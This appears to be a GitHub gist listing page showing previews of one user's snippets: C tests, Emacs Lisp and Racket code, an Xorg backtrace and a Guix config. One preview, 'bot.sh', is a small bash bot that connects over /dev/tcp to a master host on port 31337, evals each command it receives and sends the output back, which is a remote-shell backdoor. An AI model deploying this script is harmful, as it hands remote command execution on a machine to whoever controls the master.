Skip to content

Instantly share code, notes, and snippets.

@xy4n
xy4n / test.c
Created October 23, 2015 19:22
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
if(argc < 2)
return 1;
int i, j;
char* str = argv[1];
for(i = 0; i < (2*strlen(str)-1); i++) {
if (i<strlen(str)) {
@xy4n
xy4n / test.c
Created October 22, 2015 14:08
#include <stdio.h>
#include <string.h>
int main(int argc, char* argv[]) {
if(argc < 2)
return 1;
int i, j;
char* str = argv[1];
for(i = 0; i < (2*strlen(str)); i++) {
if (i<strlen(str)) {
(defun dots (msg)
(interactive "sText: ")
(let ((dot "❤")
(colours '(10 11 12 2 6 13 4 7 8 9 3 4))
(message (s-trim msg)))
(insert
(s-join
""
(list
(mapconcat
(loop for counter from 1
for triangle = counter
then (+ counter triangle)
for factors = (loop for i from 1 to (sqrt triangle)
counting (zerop (mod triangle i)) into fac
finally (return (* 2 fac)))
when (> factors 500)
return triangle)
@xy4n
xy4n / euler12.rkt
Last active October 16, 2015 18:59
#lang racket
(define (count-divisors n [count 0] [start 1])
(cond
[(> start (sqrt n)) (* 2 count)]
[(= start (sqrt n)) (+ (* 2 count) 1)]
[(zero? (remainder n start)) (count-divisors n (+ count 1) (+ start 1))]
[else (count-divisors n count (+ start 1))]))
(define (triangle-number n)
(if (<= n 1)
;; This buffer is for notes you don't want to save, and for Lisp evaluation.
;; If you want to create a file, visit that file with C-x C-f,
;; then enter the text in that file's own buffer.
(defvar theo-phrases
'("Write more code."
"Make more commits."
"That's because you have been slacking."
"slacker!"
"That's what happens when you're lazy."
[220896.280] (EE)
[220896.280] (EE) Backtrace:
[220896.386] (EE) 0: /usr/bin/X (xorg_backtrace+0x48) [0x582028]
[220896.386] (EE) 1: /usr/bin/X (0x400000+0x185ed9) [0x585ed9]
[220896.387] (EE) 2: /lib64/libc.so.6 (0x7f2d170e1000+0x352a0) [0x7f2d171162a0]
[220896.387] (EE) 3: /usr/lib64/xorg/modules/drivers/intel_drv.so (0x7f2d1335d000+0xe58b2) [0x7f2d134428b2]
[220896.387] (EE) 4: /usr/lib64/xorg/modules/drivers/intel_drv.so (0x7f2d1335d000+0xf393e) [0x7f2d1345093e]
[220896.387] (EE) 5: /usr/lib64/xorg/modules/drivers/intel_drv.so (0x7f2d1335d000+0xf4c93) [0x7f2d13451c93]
[220896.387] (EE) 6: /usr/lib64/xorg/modules/drivers/intel_drv.so (0x7f2d1335d000+0xf5aab) [0x7f2d13452aab]
[220896.387] (EE) 7: /usr/bin/X (DRI2SwapBuffers+0x1b0) [0x554870]
;; This is an operating system configuration template.
(use-modules (gnu))
(operating-system
(host-name "antelope")
(timezone "Europe/Paris")
(locale "en_US.UTF-8")
@xy4n
xy4n / bot.sh
Last active August 29, 2015 14:07
#!/usr/bin/env bash
MASTER=127.0.0.1
PORT=31337
exec 3<>/dev/tcp/$MASTER/$PORT
echo "CONNECT" >&3
while :; do
read LINE <&3
eval "$LINE" 2>&3 1>&3
@xy4n
xy4n / emacsd
Created March 3, 2014 18:16
emacsd
#!/bin/bash
#
#
# Modify the EMACS and EMACS_FLAGS variable to match both the name of the
# Emacs binary, and the flags desired at start. Most people will not need
# to perform any modifications to this.
#
# This script also requires an Elisp snippet to be present in your .emacs
# (~/.emacs or ~/.emacs.d/init.el) in order to function properly:
#